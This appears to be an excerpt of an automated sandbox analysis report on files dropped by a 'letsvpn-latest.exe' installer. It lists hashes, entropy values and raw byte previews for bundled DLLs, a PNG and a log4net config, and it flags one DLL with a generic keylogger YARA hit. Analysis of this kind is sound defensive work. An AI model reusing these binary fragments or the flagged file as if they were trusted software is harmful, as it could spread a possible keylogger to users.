Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...C..Y.........." ..0................. ...@....... ...................................@....................................O....@...................+...`......`)............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................*......H.......P .......................(......................................BSJB............v4.0.30319......l.......#~......l...#Strings....l.......#US.p.......#GUID...........#Blob......................3................................................4...........~.............H.....H.....H.....H...T.H...m.H.....H.....H.........d.H.................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.3...K.S...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\System.Xml.XmlSerializer.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	16872
Entropy (8bit):	6.907371376742411
Encrypted:	false
SSDEEP:	384:bSWnRWAlpwKANynsAw/98E9VF3AM+orlbDhL:bzkAw/KENAMx5bVL
MD5:	4884E27B9B813AF08924E6BE157FDF80
SHA1:	9E79A246FC2D1555EB8D826DAF231492AAB0EDE0
SHA-256:	9B8A33B04EE86AFB4B382F28A686DC1316E13CFE7893494B65D6BE901C1CB8C7
SHA-512:	A64F2BAE6DDAFE4FE0680F0EE43BD26D9FDAEEFC0A115FEBCFD906C522CA02E330F58389A381E6EAC2193D6184A268C9CA9B3977496DA3EC096B32D315BE0DA2
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...C..Y.........." ..0..............+... ...@....... ....................................@.................................L+..O....@..$................+...`.......*............................................... ............... ..H............text........ ...................... ..`.rsrc...$....@......................@..@.reloc.......`......................@..B.................+......H.......P ..D....................)......................................BSJB............v4.0.30319......l.......#~..........#Strings.... .......#US.$.......#GUID...4.......#Blob......................3..................................................k.....k...U.@.........i.....=.........................................&.....'...................:.....:.....:...).:...1.:...9.:...A.:...I.:...Q.:...Y.:...a.:...i.:...q.:.......................#.....+.....3.....;.....C.5...K.U...S.

C:\Program Files (x86)\letsvpn\app-3.7.0\ToastNotifications.Messages.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	101352
Entropy (8bit):	4.716134808418194
Encrypted:	false
SSDEEP:	768:VHmt9tmMLbLR6330XUb9GYQpAw/KENAMxgmvNAR:V+d6336UbILpAwrxg8A
MD5:	718E6F271AE8153C7E46693B9C4DFDF7
SHA1:	CAA72B318CCB7E7D9AEAF8660052C5605831A113
SHA-256:	6E35E281509F58C35AACD80A8BB0BDC85C5DB63A1B6B79645E11202684409CB8
SHA-512:	6771A6D3D971EBED2D029B547DD895E75289CE5C28497A9009CEA283E482BE22415A4F7E6DB4556C192300B3A823CBD352CD953743A2A3310B8AD2E9D48EC45D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....\.........." ..0................. ........... ....................................@.....................................O...................`...+........................................................... ............... ..H............text...0.... ...................... ..`.rsrc..............................@..@.reloc...............^..............@..B........................H........(..."...........J..p... ........................................0.. .......s7......}........8...s....o...+.0..'.......s9......}......}........:...s....o...+..0.. .......s;......} .......<...s....o...+.0..'.......s=......}!.....}".......>...s....o...+..0.. .......s?......}#.......@...s....o...+.0..'.......sA......}$.....}%.......B...s....o...+..0.. .......sC......}&.......D...s....o...+.0..'.......sE......}'.....}(.......F...s....o...+R.(.....(......(...+2.(.

C:\Program Files (x86)\letsvpn\app-3.7.0\ToastNotifications.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	120808
Entropy (8bit):	5.068062171449719
Encrypted:	false
SSDEEP:	768:Jr7hqeNzclb+af/wFGfdpOOJWOQE9/TBLW/UwmoAw/KENAMx5PF:Jr7hqeNzclR/CWpKsRBLW/EoAwrx5PF
MD5:	785A703389559E49A08BAA4401BD45F2
SHA1:	60FC997153F12C8DB5467AB64F756CA8ED059113
SHA-256:	DABE14E7ABE508B97134E9850DBBE27A4533A684ACFB891631C197BB9CCD7FAB
SHA-512:	F4133F76DE3ECC18AE358DF3D6C434A6C8AB68DDDB684195F543FF18C32582FB8D2DD57167B4E8CCE25A0FDA5C2C3B2D84C2847D769D8FDE5754740FE2182864
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....\.........." ..0..$...........C... ...`....... ....................... ......#.....@..................................C..O....`...................+..........hB............................................... ............... ..H............text....#... ...$.................. ..`.rsrc........`.......&..............@..@.reloc..............................@..B.................C......H........N...n..................A......................................f.s....}.....(......}....v.(.....{.....o.........o.....0...........{..........(.....{....,..k.(......o....%-.&s.......}......o....}.....{.....o....o......o.....o.....o.....o.....s....}.......,..(..............s\|.......0..T.......s....%(....o....o......{.....o.....o....-.r...pr'..ps....z.o....-.re..pr'..ps....z.J.{....%-.&.o......{....*..0..M........{....-D..}.....{....%-.&+.(....%-.&+.o.....{....%-.

C:\Program Files (x86)\letsvpn\app-3.7.0\Utils.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	130536
Entropy (8bit):	5.964318353666981
Encrypted:	false
SSDEEP:	3072:s/FN+AQPoaBBzp/1e9YbCW1NtLGi/yOqi1/Xg6iyhUkuIqhk:stuouH/67Xhk
MD5:	45732388F391D4D629F5F937F81800E6
SHA1:	F499DC39BB22D1EB36428C0804D397807458659E
SHA-256:	BE173837D34711ED61EAFEC422463BCD27D7624B21FBA9D41C72738EBF8DC1BE
SHA-512:	2BE81D7688C1FB6963AE5DB80144337B90701FF718F4920751A993AB37013B0817C647AF766F852E8FFF549DB540666EA90FC5F8419EBE0632C18C92F6EC012D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0.................. ........... .......................@...........`.................................m...O.......P................+... ..........8............................................ ............... ..H............text........ ...................... ..`.rsrc...P...........................@..@.reloc....... ......................@..B........................H.......<....8...........................................................0..........s......(9....j........(:...&...(.......0o.........+,.....o ...o!...o"...&...2..r...po"...&...Y...../..0...r...p(#.....(1....r5..po"...&...o$...o"...&...o$.............ag.0.....0..j.......~%....rQ..prY..ps&...%.o'...%.o(...%.o)...(.....o+...o,.......,..o-........r_..p(#....(1...r...p.s....z.*........0..>..........DJ.......0..........s/....(......l...%....%....o0......+r.....(1...-b...l...%..

C:\Program Files (x86)\letsvpn\app-3.7.0\View\Assets\notification_icon.png

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	12243
Entropy (8bit):	7.820583648387655
Encrypted:	false
SSDEEP:	192:WLj1H8FzmdclL4jx3c4yrJuhRof6YQURyMGf0gDSvGrEHsf8Aw47b:QpiYccZrZRof6YQUPPgDSvGr+q8D47b
MD5:	AA3CFA4A176584F79EEE7F74032E446F
SHA1:	752B97FF9A8D28E92F6FB35EE24FF3DA2E8DEEE5
SHA-256:	34A9425F58EDB250E7FBD9217D73A5AD96D1986ACA3520AFE8CADB66E32E3F33
SHA-512:	A824DA84DEDAFCDCEACDF9D602B5F89526168E6350E7478D31A5562A8B12D496FB5205B62EDFB2DF1C3896D6B24DA761A1211CF342C1AFF8E6235C4569A54BFF
Malicious:	false
Preview:	.PNG........IHDR.............k.XT....PLTE....g.H.\...O..E..E.jj..D..E.Q..rb.S...D.tc..H.H.P..ni.T..S...H.Q...F.N..L.N...E.....D.M..Y..yS.uW.O..S..ig.q[..D..H....}P.lc..D.T..bv.en.gk.n_.Q..]...L..D.D.D.D.[...N..D.F.[..cr..D.V...E.D.D.Y...D..D.P.._}..L..D..C..D..D.D.W...D.G.I..D.`z..D..D..E.D.m...D..D..C..G.o...C..N..O.w{.t...[.j..]...R.q..c...U..Q..N..i..Y..`..S..N.zw..n..N.g...N..N.\|r..N.N.....V..N..N....^..a..d...N.g......N.N.O..N.M.O.O.d..O.......U...N....z?.LN.n>....O..w..kb...eP.`2.`D.sq.........7.....W.w^.T=...sJ....f..xj....bk..$.....&.[[..&....g$.....u...m.....B......Vj..8.I....'.mx......1.k..Oy.........j.... .:..Fb..1....\.....@u.. .....H.L...f.-.........I.t".......g..1....G...(.E..........8..w...y....9..I.....i..............k......}...b..E.....tRNS..-.L...O...QQ..........'^..,iIDATx...MH.A.....].U3.Xw....B.2..K...A..i.%F...BWA..3.K..H...u.P...C..I..K..<...w....C_........>.../...+*+..v.@m..N.X.XG.qt.i.k+...(jXQ

C:\Program Files (x86)\letsvpn\app-3.7.0\WebSocket4Net.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	73192
Entropy (8bit):	6.249748321991057
Encrypted:	false
SSDEEP:	1536:oXSaVnItYw1N0tUUTAz/kI5JIol/NkIgJ4WoAwrxm:o5VnqzNaNE4IvIolSIgJjohg
MD5:	06FC5706D827C0D089D3C87DF503B557
SHA1:	0A14CE3E4FE3BA1064ECF8EBB9A622E6F8DABF98
SHA-256:	74F911F6A915C5BB2268EC8F71E06ED6F89178650F4C7C613C779DD99CB719AA
SHA-512:	C14E2C487948FCEAB72E17D5A53C6554F402D9494937ACBD1584C35278069193BE8F00D965395CE9B0F2C8F608D39DF641BF86EA5F42033E949395CFA87E4C50
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...FqZ.........." ..0.............V.... ... ....... .......................`............`.....................................O.... ..4................+...@....................................................... ............... ..H............text...\.... ...................... ..`.rsrc...4.... ......................@..@.reloc.......@......................@..B................6.......H.......4k...............................................................{...."..}......{...."..}....V.(......(......(....:.(......(......{...."..}....Z...o....&.~....o....&Z...o....&.~....o....&V..o....&.~....o....&6.~....o....&...0...........~....Q..~......s.....8.....P(....,...Q8.....r...po....,..(....-&....o....-.......o....( ...o!...8......:o"........?........o#.......(....-...o..........Xo$.......(....-"..r...po....,...o%....1....o$.......(....-1.....o....

C:\Program Files (x86)\letsvpn\app-3.7.0\WindowsInput.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33768
Entropy (8bit):	6.4025329384270835
Encrypted:	false
SSDEEP:	384:ap0c3XP4cGqWpMgtZvtxsoOaY2ZXnFq+3xfJBRGCVoCpwKANynsAw/98E9VF3AM8:aqsQtqwMkbvnFqqPgq4Aw/KENAMxJY
MD5:	EE295B444AFECBF42526BD136DEE4002
SHA1:	E490EC5B8BC823CAF487DC02CA82003964E08276
SHA-256:	ED46BDF66B27421E70CDC2D0C334A3F09818173790732061C36C5301C37737AF
SHA-512:	7D0E0D5929D38F67C772CC96307DA7E08DC7D09629F2A14354DEA883895515CF2C490A6D8C94E317329FD6173906A4D1B5E981A1AB4656B90578C27168F10577
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......R...........!.....N..........>m... ........... ....................................@..................................l..W....................X...+...........k............................................... ............... ..H............text...DM... ...N.................. ..`.rsrc................P..............@..@.reloc...............V..............@..B................ m......H......../...;..................P ......................................`.R...~d.5.......eQ..........EG2..D9.p....WPu.s.\|nn....1.....F..V7..W.(....od,...........!8....W..ez..e..Q.....h..:`...Qgr.(......}......}......}......(......sf...}......s....}.....s~...}......{......{......{......(.....-.r...ps....z..}.....s....}.....0..c........(.....-.r...ps....z.-=r...p.....(....o.........(....o.........(....o....(....s....z..}......}....2.{....o....6.{.....o=...*...0..

C:\Program Files (x86)\letsvpn\app-3.7.0\WpfAnimatedGif.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	53736
Entropy (8bit):	6.343120471435367
Encrypted:	false
SSDEEP:	768:nhDcl7W1UiZTo1ooEqzW3SQwiNsI8l5wwyvUPrYZBkcDfAw/KENAMxbUk:nh8QpZTsooEX3SQwr9y4UZRDfAwrx1
MD5:	F0B78CE643F8890B64A36B25D0BE40FD
SHA1:	6A61E2C668474CCEC69346A2053D0A02A809EAD5
SHA-256:	6682680A9655BD129B62025FA2E3B6C0B158E8B0F0122243DD8154377A43184F
SHA-512:	418CD88B99CA3AA49D2CA532FCB2FBF341A94D8FC3935D3D0229761C945F0EE4A287ADDC6D759F78D65C333A58B55102AB43DB4D64F178F192EE2C2E7929BCB2
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....5............" ..0.................. ........... ....................................@.................................J...O.......$................+..........h...T............................................ ............... ..H............text........ ...................... ..`.rsrc...$...........................@..@.reloc..............................@..B................~.......H........H..Hq...........................................................{......{....V.(......}......}.......0..;........u......,/(.....{.....{....o....,.(.....{.....{....o...... ...' )UU.Z(.....{....o....X )UU.Z(.....{....o....X.0...........r...p......%..{.....................-.q.............-.&.+.......o ....%..{.....................-.q.............-.&.+.......o ....(!....0..2..........(....~.......o"...-.~.....s#...%.o$.....o%...&...0..A..........(....~.......o"..

C:\Program Files (x86)\letsvpn\app-3.7.0\arm64\WebView2Loader.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32+ executable (DLL) (console) Aarch64, for MS Windows
Category:	dropped
Size (bytes):	126440
Entropy (8bit):	6.088128254176655
Encrypted:	false
SSDEEP:	1536:eDdMkQCUK86ryzDWs0MxThVvTe6sWkddGDGEtg3q2LOOCN+HAwrx73:eDdef+yR17exwDGEtg3q2LOdN+HhV
MD5:	91864DB7B724160E80E702DF93313006
SHA1:	8926004BE47BF37D940C6078B98E546D179C8F59
SHA-256:	8DA336ADBFEC70C5565EA72597925C4CC1B4FD254E259E940F5AC43760E15F7E
SHA-512:	BE6F53F65F656C1904C07F72F0AADFE9FEE30807C1A7C8F9B5F0EAC8709A350012753B2F0F84F5F1F23525C25447FE725587FCF86EEC153D7EB29FD46A4F1904
Malicious:	false
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..d......`.........." ................ C....................................... ......S.....`A........................................_.......Q...(...............(........+......\|..........................@...(... !..0...................P........................text............................... ..`.rdata...... ......................@..@.data...\|...........................@....pdata..(...........................@..@.00cfg..............................@..@.tls................................@....rsrc...............................@..@.reloc..\|...........................@..B........................................................................................................................................................................................................................................................................................................

C:\Program Files (x86)\letsvpn\app-3.7.0\cs\System.Web.Services.Description.resources.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	20456
Entropy (8bit):	6.7368967869819905
Encrypted:	false
SSDEEP:	384:KEZLkwA5qKV3XWe6lWrypwKANynsAw/98E9VF3AM+o/RjPB:PxkwAlagAw/KENAMxprB
MD5:	63B58F8B1E0BE713BCFE9DAFC9176CC2
SHA1:	B89CDFEA822B0FA430EB876371DE7497D32CF02E
SHA-256:	28EC6D09F13B0BC08F60B5CA44589EDD5C8DCA987F0CA8F6ADD37B53FAD4C764
SHA-512:	6C961FEED34104A3679980979F1C3DD3ED54939E3F52AD0CD4352FAAE271A5BBCBB9494BE59A30D824783A3EAE5AC07B0097FD1F9E20648AC3350032CE6A3B12
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0..............8... ...@....... ..............................=.....@.................................D8..O....@...............$...+...`......(8............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......."..............@..B................x8......H.......P ...............%.......7......................................BSJB............v4.0.30319......l...D...#~..........#Strings............#US.........#GUID...........#Blob......................3......................................,.......................r...........Z.....Z.....Z...A.Z...^.Z.....Z...*.Z.................l.....l.....l...).l...1.l...9.l...A.l...I.l...Q.l...Y.l.......................#.....+.....3.@...;.e...C.y...K.....S.@...................................

C:\Program Files (x86)\letsvpn\app-3.7.0\de\System.Web.Services.Description.resources.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	20456
Entropy (8bit):	6.733717681243628
Encrypted:	false
SSDEEP:	384:LqmGsHW08We6lWwSpwKANynsAw/98E9VF3AM+ooe6fM:LBGsH1xfAw/KENAMxFIM
MD5:	35769612C2125805C6C002DB0109F357
SHA1:	EDFB7903D5ED6C8DC411F42B9F0144909D6E44A1
SHA-256:	74A973702CC39F0320162D3DB2F0E1BB1BF8AA01C301D43C79FD95C91136796E
SHA-512:	F5EA44073C2B842713BC19CD8A9A6499F444E25D94E2B6C5E87CAE46D59DC96A0B1611ECC15BC2349044E39B1FCFA46784C55CD2CC08974F4C4254A68F167997
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...G),..........." ..0..............9... ...@....... ..............................E~....@..................................9..O....@...............$...+...`.......9............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......."..............@..B.................9......H.......P ...............%..8....9......................................BSJB............v4.0.30319......l...D...#~...... ...#Strings............#US.........#GUID...........#Blob......................3....................................../.......................u...........].....].....]...D.]...a.].....]...-.].................o.....o.....o...).o...1.o...9.o...A.o...I.o...Q.o...Y.o.......................#.....+.....3.@...;.e...C.y...K.....S.@...................................

C:\Program Files (x86)\letsvpn\app-3.7.0\es\System.Web.Services.Description.resources.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	20456
Entropy (8bit):	6.695566503181327
Encrypted:	false
SSDEEP:	384:R11LpDt4We6lWUXpwKANynsAw/98E9VF3AM+oHoPZ4:TBdiAw/KENAMxx
MD5:	9E7010EDC447D4E8D1429BBB34B4A806
SHA1:	F863DD49B6FB75F29C0CCE64041177C7185D4B59
SHA-256:	EBE39DC3B6E29646EA4D0BD204D9084CE3155D35B798EB3AA1CAFDB18BF4992E
SHA-512:	334E43A34D5B5123AB24E26CCBD94421E1F29534D68125F8545EE70ABE28EC2E9461559CF6556578960FBBDC880F7BB1557CB462A24C6A4D0C03AE7026F64F2B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k2............" ..0.............69... ...@....... ..............................Z.....@..................................8..O....@...............$...+...`.......8............................................... ............... ..H............text...<.... ...................... ..`.rsrc........@......................@..@.reloc.......`......."..............@..B.................9......H.......P ...............%..x...H8......................................BSJB............v4.0.30319......l...D...#~..........#Strings............#US.........#GUID...........#Blob......................3......................................,.......................r...........Z.....Z.....Z...A.Z...^.Z.....Z...*.Z.................l.....l.....l...).l...1.l...9.l...A.l...I.l...Q.l...Y.l.......................#.....+.....3.@...;.e...C.y...K.....S.@...................................

C:\Program Files (x86)\letsvpn\app-3.7.0\fr\System.Web.Services.Description.resources.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	20456
Entropy (8bit):	6.739864564293847
Encrypted:	false
SSDEEP:	384:XsxhehdMDxbFWe6lWYFpwKANynsAw/98E9VF3AM+oM2yA7:8vy+DAUAw/KENAMx8+
MD5:	AB8DC70D51CBD593FDEB3072E593A262
SHA1:	49332688646ABD689F4451B8E0D864E0E0D7EFD2
SHA-256:	E5888ECEBA76225AE16540A762A86872FDF389D0DB59AA223B6B6671CBE10FA2
SHA-512:	DDA3F048D9CC5F445B311A3CB725F910DF3B2AD4CAC80818AA0D75EB8D38734892246FA6F84476563B75DF0F28657B41784CBE78FD1BEAF2648D6D0845CD331C
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....,E..........." ..0..............9... ...@....... ..............................[.....@.................................`9..O....@...............$...+...`......D9............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......."..............@..B.................9......H.......P ...............%.......8......................................BSJB............v4.0.30319......l...D...#~...... ...#Strings............#US.........#GUID...........#Blob......................3......................................,.......................u...........Z.....Z.....Z...A.Z...^.Z.....Z...*.Z.................o.....o.....o...).o...1.o...9.o...A.o...I.o...Q.o...Y.o.......................#.....+.....3.@...;.e...C.y...K.....S.@.....................l.............

C:\Program Files (x86)\letsvpn\app-3.7.0\it\System.Web.Services.Description.resources.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	20456
Entropy (8bit):	6.699936777322151
Encrypted:	false
SSDEEP:	384:D9WLKzFWe6lWo+pwKANynsAw/98E9VF3AM+oWKdprJw:xgKz+LAw/KENAMxrdxW
MD5:	C8EDE833D2149C6F3DC4BB5F39FB9E2B
SHA1:	BD2BADE2EB45AA6C3DC1B5FB32C81C40FC53579B
SHA-256:	45D6B661D5697E90A03BACA66A6BF059A4F90C1D54529236F9ACFACB7C35BA75
SHA-512:	79B91099688D6093211A65AA446A2C9FCBC87B8A710FE146D7B5164E179BFEDAE7B9C5607F5C46FD1947988F66733EB0FA1D4C450CAE6EAEBC953B69D4CDCECD
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...(............." ..0..............9... ...@....... ...............................,....@.................................09..O....@...............$...+...`.......9............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......."..............@..B................d9......H.......P ...............%.......8......................................BSJB............v4.0.30319......l...D...#~...... ...#Strings............#US.........#GUID...........#Blob......................3......................................,.......................r...........Z.....Z.....Z...A.Z...^.Z.....Z...*.Z.................l.....l.....l...).l...1.l...9.l...A.l...I.l...Q.l...Y.l.......................#.....+.....3.@...;.e...C.y...K.....S.@...................................

C:\Program Files (x86)\letsvpn\app-3.7.0\ja\System.Web.Services.Description.resources.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21480
Entropy (8bit):	6.860368489378448
Encrypted:	false
SSDEEP:	384:wNeZmFLRnyGO00Ik4oF3eUntWe6lWEppwKANynsAw/98E9VF3AM+ocKyWDe:wQZmFLRnyGO00Ik4oF3eUnGEAw/KENAJ
MD5:	2510E5DE6A78E23F5E5716A947692FCB
SHA1:	C82F7F60598B684D72BB7862EE988E0C8A3E4D60
SHA-256:	DC48E81DBD27F031F5D94BD9F52023D93387295CC03F2F4EFFF50B4C2305FAE7
SHA-512:	FE1890747348E6B4FEC06090DAFC1093E30F3BB9ECC402E80D6E5C36F99BCB2F1C1913904EE8062C610AB0EFBB92E4E9456BCFCB4822C589B8B6A0E99E61507B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L................." ..0.............2=... ...@....... ....................................@..................................<..O....@...............(...+...`.......<............................................... ............... ..H............text...8.... ...................... ..`.rsrc........@....... ..............@..@.reloc.......`.......&..............@..B.................=......H.......P ...............%..p...D<......................................BSJB............v4.0.30319......l...D...#~...... ...#Strings............#US.........#GUID...........#Blob......................3....................................../.......................u...........].....].....]...D.]...a.].....]...-.].................o.....o.....o...).o...1.o...9.o...A.o...I.o...Q.o...Y.o.......................#.....+.....3.@...;.e...C.y...K.....S.@...................................

C:\Program Files (x86)\letsvpn\app-3.7.0\ko\System.Web.Services.Description.resources.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	20968
Entropy (8bit):	6.868432230037487
Encrypted:	false
SSDEEP:	384:7QP73AIGoWe6lWiEpwKANynsAw/98E9VF3AM+onVHtH:7K7AIGN/Aw/KENAMxVl
MD5:	EFD2B4E0CEFB40944FCF85A8B4F4CAC4
SHA1:	D64794EED481D047ADECD3D75A74D312709B0A7A
SHA-256:	90EE6104D6F200B830D4B0D2416A769F6E60028A15CFBC0F65DF002FAF22171F
SHA-512:	68A0C7AD93155DFB58ECA9234FDEFE0DF3BA5AC109A19C5CF61BF889E77F85B9AF7485835E2E3F5BEDF6411D222512915D8EA970EC1D8390F71D18832BE6CE8B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....9..........." ..0.............2;... ...@....... ..............................ER....@..................................:..O....@...............&...+...`.......:............................................... ............... ..H............text...8.... ...................... ..`.rsrc........@......................@..@.reloc.......`.......$..............@..B.................;......H.......P ...............%..p...D:......................................BSJB............v4.0.30319......l...D...#~...... ...#Strings............#US.........#GUID...........#Blob......................3......................................,.......................u...........Z.....Z.....Z...A.Z...^.Z.....Z...*.Z.................o.....o.....o...).o...1.o...9.o...A.o...I.o...Q.o...Y.o.......................#.....+.....3.@...;.e...C.y...K.....S.@.....................l.............

C:\Program Files (x86)\letsvpn\app-3.7.0\libwin.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	10637288
Entropy (8bit):	6.356201019347204
Encrypted:	false
SSDEEP:	98304:n0te2AQgbNlwrsN3iMkgVJyCCex3Xjl4VsdCm5G2p:0teW5lgbyu5Ty7mDp
MD5:	18ACE27FD087E225E3CDAC160EFDAFDD
SHA1:	8944171F8BF3B3738E30EA54B6CAC4C18D8488EA
SHA-256:	8000D8CD4E6C60B420DA110E8D28D262109BA0C2FDFA620021689A4C3F79B46C
SHA-512:	392192A200ED07DF75B3DA5B9FDF2E9EBBFD087D969C5FCBFCAA9B8BEC1F02216323132AF950BAD41D4C351FE4BEEA59AEB6B33EC53342836C84102CE28B748F
Malicious:	false
Yara Hits:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: C:\Program Files (x86)\letsvpn\app-3.7.0\libwin.dll, Author: Joe Security
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..................#...)..K.. ...:............K...8b...............................6T....@... ......................0..D....@..$....p...............$...+......(E.................................................\|A..@............................text.....K.......K.................`..`.data...l.....K.......K.............@....rdata..\|PN...O..RN..pO.............@..@.bss.....9..............................edata..D....0.....................@..@.idata..$....@.....................@....CRT....,....P.....................@....tls.........`.....................@....rsrc........p.....................@..@.reloc..(E.......F.................@..B................................................................................................................................................................................................................................

C:\Program Files (x86)\letsvpn\app-3.7.0\log4net.config

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3607
Entropy (8bit):	6.27044188314989
Encrypted:	false
SSDEEP:	96:l22xKLORF1pb5YrJWox7aI94UnvQdmrZ/xEKxD5q8fANY2Z:l22XFbawo1BvecZ/xXxF3INYY
MD5:	28F9077C304D8C626554818A5B5F3B3A
SHA1:	A01F735FE348383795D61AADD6AAB0CC3A9DB190
SHA-256:	746B5675EA85C21EF4FCC05E072383A7F83C5FE06AAA391FC3046F34B9817C90
SHA-512:	485C175BC13C64601B15243DAECBF72621883C2FF294852C9BBB2681937F7EF0BEA65361E0F83131EC989432326442EF387C1CCF2A7CA537C6788B8FD5C0021E
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8" ?>..<configuration>... Level........ -->... None > Fatal > ERROR > WARN > DEBUG > INFO > ALL-->... .....level.ERROR...cs......log4net.info()..............-->...<log4net>....<logger name="logger">.....<level value="ALL" />.....<appender-ref ref="LogAppender" />....</logger>.... ........-->.... <appender name="LogAppender" type="log4net.Appender.RollingFileAppender">-->....<appender name="LogAppender" type="log4net.Appender.RollingFileAppender">.....<param name="File" value="Log\\" />.....<param name="AppendToFile" value="true" />.....<param name="MaxFileSize" value="10240" />.....<param name="MaxSizeRollBackups" value="100" />.....<param name="StaticLogFileName" value="false" />.....<param name="DatePattern" value="yyyyMMdd".log"" />.....<param name="RollingStyle" value="Date" />..... ......-->.....<layout type="lo

C:\Program Files (x86)\letsvpn\app-3.7.0\log4net.dll

Download File

Process:	C:\ProgramData\letsvpn-latest.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	281576
Entropy (8bit):	5.699994218705734
Encrypted:	false
SSDEEP:	3072:4G0WgexKpGi8PnJcerXUaxX3HVeES4BEIqTTpX/4ormGpnaVTSGCkMhkEn7GAhCB:4JrycoB3HVeESME3pnaVTS1nh7hCauhR
MD5:	4A8525BF095DDAD4B988A03165584268
SHA1:	9DA5E7D7B40AB4FDA89EFCF9A12546D6DE9D40A5
SHA-256:	1D721DFDAE218873C411FC939CED1B12486B393A6C810C588342DD008F85FA3F
SHA-512:	6D763186C569FAB20BD51AEFC4F1B030EB9953097E7EAC024FEDD0498E45A8C6C6D59AE6729795DBD4E657F3DE9C17675B7F120FBE569F81C65033EC08E7FE53
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...p3..........." ..0...... ........... ... ....... .......................`......1\|....`.................................h...O.... ............... ...+...@......L................................................ ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

